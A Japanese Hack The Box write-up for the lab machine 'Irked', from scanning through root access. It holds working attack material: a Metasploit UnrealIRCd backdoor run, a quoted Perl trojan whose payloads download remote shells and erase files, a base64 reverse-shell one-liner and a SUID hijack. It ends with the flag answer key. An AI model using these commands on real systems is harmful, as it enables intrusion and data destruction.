本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Irked」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) RPCへのアクセス及び調査
(3) UnrealIRCdのバックドアの悪用したリバースシェル
(4) 攻撃対象のマシン(Irked)内の調査
(5) ステガノグラフィーのファイル調査
(6) djmardovユーザーでSSHのログイン
(7) 特権昇格のための調査(SUIDなど)
(8) 特権昇格(SUID設定の脆弱性)
(9) 【参考】コマンドを用いてUnreal IRCのバックドアを悪用したリバースシェル
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン及びアクセス
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などのポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 14:07 JST
Nmap scan report for 10.10.10.117
Host is up (0.35s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 41740/udp6 status
| 100024 1 46664/udp status
| 100024 1 57891/tcp status
|_ 100024 1 58273/tcp6 status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
57891/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 211.55 ms 10.10.16.1
2 435.13 ms 10.10.10.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.64 seconds
(2) ブラウザを用いて「http://10.10.10.117/」にアクセスすると、Webページが表示される。また、「IRC is almost working!」というメッセージが表示される。
RPCへのアクセス及び調査
(1) showmountを用いてRPCにアクセスする。
$ showmount -e 10.10.10.117
clnt_create: RPC: Program not registered
(2) irssiを用いてUnreal IRCDのバージョンを確認すると、「3.2.8.1」のバージョンを使用していることが分かる。
$ sudo apt install irssi -y
$ irssi -c 10.10.10.117 --port 8067
ーーー(省略)ーーー
11:05 -!- Your host is irked.htb, running version Unreal3.2.8.1
11:05 -!- This server was created Mon May 14 2018 at 13:12:50 EDT
ーーー(省略)ーーー
(3) 「nmap UnrealIRCd」でGoogle検索すると、「https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html」にUnrealIRCdのバックドアの悪用有無を検査できるコマンドが公開されている。
$ nmap -p 6697 -sV --script=irc-unrealircd-backdoor 10.10.10.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 09:37 JST
Nmap scan report for 10.10.10.117
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
6697/tcp open irc UnrealIRCd
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Service Info: Host: irked.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.50 secondsUnrealIRCdのバックドアの悪用したリバースシェル
(1) Kali LinuxのVPN用のIPアドレスを確認する。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.10」
(2) Metasploitを起動すると、Metasploitのプロンプト(msf6 >)が表示される。
$ msfconsole
ーーー(省略)ーーー
msf6 >
(3) Metasploit Frameworkで「UnrealIRCd」という文字列を含む攻撃コードを検索すると、「exploit/unix/irc/unreal_ircd_3281_backdoor」があることが分かる。
msf6 > search UnrealIRCd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
(4) useコマンドで「exploit/unix/irc/unreal_ircd_3281_backdoor」を使用するように設定する。
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
(5) show optionsコマンドで設定情報を表示すると、CHOSTに自身のマシン(Kali Linux)のIPアドレス、CHOSTに自身のマシン(Kali Linux)で使用するポート番号、RHOSTSに攻撃対象のホスト、RPORTにUnrealIRCdのポート番号を設定する必要があることが分かる。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
ing-metasploit.html
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
(6) setコマンドでIPアドレスやポート番号を設定する。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CHOST 10.10.16.10
CHOST => 10.10.16.10
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CPORT 1234
CPORT => 1234
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.10.117
RHOSTS => 10.10.10.117
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 65534
RPORT => 65534
(7) show optionsコマンドで設定した内容が表示されることを確認する。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST 10.10.16.10 no The local client address
CPORT 1234 no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.117 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
ing-metasploit.html
RPORT 65534 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
(8) exploitコマンドで攻撃を実行すると、ペイロードが選択されていない旨のメッセージが出力される。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 10.10.10.117:65534 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
(9) 設定できるペイロードの一覧を確認する。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser . normal No Add user with useradd
1 payload/cmd/unix/bind_perl . normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 . normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby . normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 . normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic . normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse . normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl . normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl . normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl . normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby . normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl . normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet . normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
(10) setコマンドで「payload/cmd/unix/reverse」のペイロードを設定する。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
payload => cmd/unix/reverse
(11) show optionsコマンドで設定した内容が表示されることを確認する。また、「cmd/unix/reverse」のペイロードを使用するためにLHOSTに自身のマシン(Kali Linux)のIPアドレスを設定する必要があることが分かる。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST 10.10.16.10 no The local client address
CPORT 1234 no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.117 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
ing-metasploit.html
RPORT 65534 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
(12) LHOSTに自身のマシン(Kali Linux)のIPアドレスを設定する。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.10.16.10
LHOST => 10.10.16.10
(13) exploitコマンドで攻撃を実行すると、セッションが確立され任意のコマンドを実行できるようになる。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 10.10.16.10:4444
[*] 10.10.10.117:65534 - Connected to 10.10.10.117:65534...
:irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:65534 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo GDuxbg9TQopAt2y2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "GDuxbg9TQopAt2y2\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.16.10:4444 -> 10.10.10.117:33283) at 2025-09-14 10:14:24 +0900
(14) 現在ログインしているユーザー情報を確認すると、ircdユーザーであることが分かる。
※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
$ whoami
ircd
(15) 完全なシェルを奪取する。
※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export TERM=xterm攻撃対象のマシン(Irked)内の調査
(1) ホームディレクトリとログインシェルが設定されているユーザーを確認する。
※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ ls -l /home/
total 8
drwxr-xr-x 18 djmardov djmardov 4096 Sep 5 2022 djmardov
drwxr-xr-x 3 ircd root 4096 Sep 5 2022 ircd
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
djmardov:x:1000:1000:djmardov,,,:/home/djmardov:/bin/bash
ircd:x:1001:1001::/home/ircd:/bin/sh
(2) ircdとdjmardovのホームディレクトリに格納されたファイル/ディレクトリを確認する。/home/djmardov配下のディレクトリの権限を確認すると、ircdユーザーでもいくつかのディレクトリにアクセスできることが分かる。
※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ ls -al /home/ircd
total 16
drwxr-xr-x 3 ircd root 4096 Sep 5 2022 .
drwxr-xr-x 4 root root 4096 Sep 5 2022 ..
lrwxrwxrwx 1 root root 9 Sep 5 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ircd ircd 0 May 14 2018 .bashrc
-rw-r--r-- 1 ircd ircd 66 May 14 2018 .selected_editor
drwx------ 13 ircd ircd 4096 Sep 13 01:02 Unreal3.2
$ ls -al /home/djmardov
total 96
drwxr-xr-x 18 djmardov djmardov 4096 Sep 5 2022 .
drwxr-xr-x 4 root root 4096 Sep 5 2022 ..
lrwxrwxrwx 1 root root 9 Nov 3 2018 .bash_history -> /dev/null
-rw-r--r-- 1 djmardov djmardov 220 May 11 2018 .bash_logout
-rw-r--r-- 1 djmardov djmardov 3515 May 11 2018 .bashrc
drwx------ 13 djmardov djmardov 4096 Sep 5 2022 .cache
drwx------ 15 djmardov djmardov 4096 Sep 5 2022 .config
drwx------ 3 djmardov djmardov 4096 Sep 5 2022 .dbus
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Desktop
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Documents
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Downloads
drwx------ 3 djmardov djmardov 4096 Sep 5 2022 .gconf
drwx------ 2 djmardov djmardov 4096 Sep 5 2022 .gnupg
-rw------- 1 djmardov djmardov 4706 Nov 3 2018 .ICEauthority
drwx------ 3 djmardov djmardov 4096 Sep 5 2022 .local
drwx------ 4 djmardov djmardov 4096 Sep 5 2022 .mozilla
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Music
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Pictures
-rw-r--r-- 1 djmardov djmardov 675 May 11 2018 .profile
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Public
drwx------ 2 djmardov djmardov 4096 Sep 5 2022 .ssh
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Templates
-rw-r----- 1 root djmardov 33 Sep 13 01:03 user.txt
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 Videos
(3) /home/djmardov/配下のディレクトリの内容を確認すると、/home/djmardov/Documentsに.backupというファイルがあることが分かる。。
※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ ls -al /home/djmardov/Desktop
→何も格納されていないことが分かる。
$ ls -al /home/djmardov/Downloads
→何も格納されていないことが分かる。
$ ls -al /home/djmardov/Documents
total 12
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 2022 .
drwxr-xr-x 18 djmardov djmardov 4096 Sep 5 2022 ..
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
lrwxrwxrwx 1 root root 23 Sep 5 2022 user.txt -> /home/djmardov/user.txt
(4) .backupの内容を確認すると、ステガノグラフィー(steganography)のパスワードが記載されていることが分かる。
※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ file /home/djmardov/Documents/.backup
/home/djmardov/Documents/.backup: ASCII text
$ cat /home/djmardov/Documents/.backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSssステガノグラフィーのファイル調査
(1) ブラウザを用いて「http://10.10.10.117/」の画面上で右クリックして、「View Page Source」をクリックする。
(2) 表示されたソースコードの内容を確認すると、画像ファイルの名前が「irked.jpg」であることが分かる。
【http://10.10.10.117/のソースコードの内容】
<img src=irked.jpg>
<br>
<b><center>IRC is almost working!</b></center>
(3) wgetコマンドで画像ファイルをダウンロードする。
※Kali Linux上で以下のコマンドを実行する。
$ wget http://10.10.10.117/irked.jpg
(4) ステガノグラフィーでファイルが埋め込まれているか確認するために、steghideをインストールする。
$ sudo apt-get install steghide -y
(5) steghideを用いてirked.jpgファイルに埋め込まれたファイルを確認すると、「pass.txt」というファイルが格納されていることが分かる。
$ steghide info irked.jpg
"irked.jpg":
format: jpeg
capacity: 1.5 KB
Try to get information about embedded data ? (y/n) y ←「y」を入力して[Enter]
Enter passphrase: ←「UPupDOWNdownLRlrBAbaSSss」を入力して[Enter]
embedded file "pass.txt":
size: 17.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
(6) steghideを用いて埋め込まれたファイル(pass.txt)の内容を確認する。
$ steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".
$ cat pass.txt
Kab6h+m+bbp2J:HGdjmardovユーザーでSSHのログイン
(1) SSHを用いてdjmardovユーザーでログインする。
$ ssh djmardov@10.10.10.117
→パスワード(Kab6h+m+bbp2J:HG)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、djmardovユーザーであることが分かる。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ id
uid=1000(djmardov) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
$ whoami
djmardov
(3) 一般ユーザー用のフラグファイルを確認する。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ cat /home/djmardov/user.txt
27ccec2b94dc6e3263ee30719ef07d52特権昇格のための調査(SUIDなど)
(1) sudoコマンドの設定を確認すると、sudoコマンドは実行できないことが分かる。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ sudo -l
-bash: sudo: command not found
(2) SUIDファイルを検索すると、「/usr/bin/viewuser」にSUIDが付与されていることが分かる。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
(3) .bash_historyファイルを確認すると、何も出力されない。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ cat /home/djmardov/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
25 open
80 open
111 open
631 open
6697 open
8067 open
55076 open
57891 open
59880 open
65534 open
(5) OSの情報を確認すると、「Debian GNU/Linux 8.10」であることが分かる。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ uname -a
Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.10 (jessie)
Release: 8.10
Codename: jessie特権昇格(SUID設定の脆弱性)
(1) /usr/bin/viewuserの内容を確認すると、Linuxの実行ファイル(ELF 32-bit)でSUIDが付与されていることが分かる。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ ls -al /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
$ file /usr/bin/viewuser
/usr/bin/viewuser: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped
(2) /usr/bin/viewuserを実行すると、/tmp/listusersが見つからないというエラーメッセージが表示される。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ cd /usr/bin/
$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-09-13 01:02 (:0)
djmardov pts/2 2025-09-13 21:57 (10.10.16.10)
sh: 1: /tmp/listusers: not found
(3) /usr/bin/viewuserをKali Linuxからダウンロードできるようにするために、攻撃対象のマシン(Irked)上でWebサービスを起動する。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ python3 -m http.server 8080
(4) viewuserファイルをダウンロードする
※Kali Linux上で以下のコマンドを実行する。
$ wget http://10.10.10.117:8080/viewuser
(5) ltraceを用いてviewuserを調査すると、system関数で/tmp/listusersを実行していることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ chmod +x viewuser
$ ltrace ./viewuser
__libc_start_main(["./viewuser"] <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
) = 69
puts("It is still being actively devel"...It is still being actively developed
) = 37
system("who" <no return ...>
--- SIGCHLD (子プロセス終了) ---
<... system resumed> ) = 0
setuid(0) = -1
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
<no return ...>
--- SIGCHLD (子プロセス終了) ---
<... system resumed> ) = 32512
+++ exited (status 0) +++
(6) 「bash -p」コマンドを実行する/tmp/listusersファイルを作成する。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ vi /tmp/listusers
【/tmp/listusersの内容】
#!/bin/bash
bash -p
(7) /tmp/listusersに実行権限を付与する。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ chmod +x /tmp/listusers
(8) /usr/bin/viewuserを実行すると、root権限のプロンプト(#)が表示される。
※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。
$ cd /usr/bin/
$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-09-13 01:02 (:0)
djmardov pts/2 2025-09-13 21:57 (10.10.16.10)
root@irked:/usr/bin#
(9) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# id
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
# whoami
root
(10) 特権ユーザー用のフラグファイルの内容を確認する。
# cat /root/root.txt
54ff821360eb5015dbb7e57e43b41282【参考】コマンドを用いてUnreal IRCのバックドアを悪用したリバースシェル
(1) 「https://www.exploit-db.com/exploits/13853」にUnreal IRCのバックドアを悪用した攻撃コードのソースコードが公開されていることが分かる。しかし、「http://efnetbs.webs.com/」が存在しないなどでソースコードを書き換える必要があるため、ソースコードで送信するデータを手動で生成し送信する。
#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)
use Socket;
use IO::Socket;
## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];
if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }
sub usage {
printf "\nUsage :\n";
printf "perl unrealpwn.pl <host> <port> <type>\n\n";
printf "Command list :\n";
printf "[1] - Perl Bindshell\n";
printf "[2] - Perl Reverse Shell\n";
printf "[3] - Perl Bot\n";
printf "-----------------------------\n";
printf "[4] - shutdown ircserver\n";
printf "[5] - delete ircserver\n";
exit(1);
}
sub unreal_trojan {
my $ircserv = $host;
my $ircport = $port;
my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
print "[+] Payload sent ...\n";
if ($type eq "1") {
print $sockd "$payload1";
} elsif ($type eq "2") {
print $sockd "$payload2";
} elsif ($type eq "3") {
print $sockd "$payload3";
} elsif ($type eq "4") {
print $sockd "$payload4";
} elsif ($type eq "5") {
print $sockd "$payload5";
} else {
printf "\nInvalid Option ...\n\n";
usage();
}
close($sockd);
exit(1);
}
unreal_trojan();
# EOF
(2) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。
$ nc -lvnp 1234
listening on [any] 1234 ...
(3) リバースシェルを実行するためのプログラムを準備して、コマンドを送信する。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスは「10.10.16.10」
$ echo 'bash -i >& /dev/tcp/10.10.16.10/1234 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC8xMjM0IDA+JjEK
$ echo 'AB; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC8xMjM0IDA+JjEK | base64 -d | bash' | nc 10.10.10.117 65534
(4) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。
[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Irked?
問題(日本語訳):Irked でリッスンしている開いている TCP ポートはいくつありますか?
答え:6
・Task 2
問題(英語訳):What software is running on TCP 8067?
問題(日本語訳):TCP 8067 で実行されているソフトウェアは何ですか?
答え:UnrealIRCd
・Task 3
問題(英語訳):In 2010, UnrealIRCd announced there was a backdoor in the software. What version of the software was the backdoor in?
問題(日本語訳):2010年、UnrealIRCdはソフトウェアにバックドアが存在すると発表しました。バックドアはどのバージョンのソフトウェアに存在していたのでしょうか?
答え:3.2.8.1
・Task 4
問題(英語訳):What two characters are sent as the start of a command trigger passing the command to system() and thus execution?
問題(日本語訳):コマンドを system() に渡して実行するためのコマンドトリガーの開始として送信される 2 つの文字は何ですか?
答え:AB
・Task 5
問題(英語訳):What is the name of the hidden file that contains a "steg backup pw"?
問題(日本語訳):「steg backup pw」を含む隠しファイルの名前は何ですか?
答え:.backup
・Task 6
問題(英語訳):What is djmardov's password?
問題(日本語訳):djmardovのパスワードは何ですか?
答え:Kab6h+m+bbp2J:HG
・Submit User Flag
問題(英語訳):Submit the flag located in the djmardov user's home directory.
問題(日本語訳):djmardov ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:27ccec2b94dc6e3263ee30719ef07d52
※「/home/djmardov/user.txt」の内容。
・Task 8
問題(英語訳):What is the filename for the SetUID binary that is custom to Irked?
問題(日本語訳):Irked 専用の SetUID バイナリのファイル名は何ですか?
答え:viewuser
・Task 9
問題(英語訳):What is the full path of the file that viewuser fails to load when it runs?
問題(日本語訳):viewuser の実行時に読み込みに失敗するファイルのフルパスは何ですか?
答え:/tmp/listusers
・Submit Root Flag
問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。
答え:54ff821360eb5015dbb7e57e43b41282
※「/root/root.txt」の内容。
関連記事(Hack The Box)
。

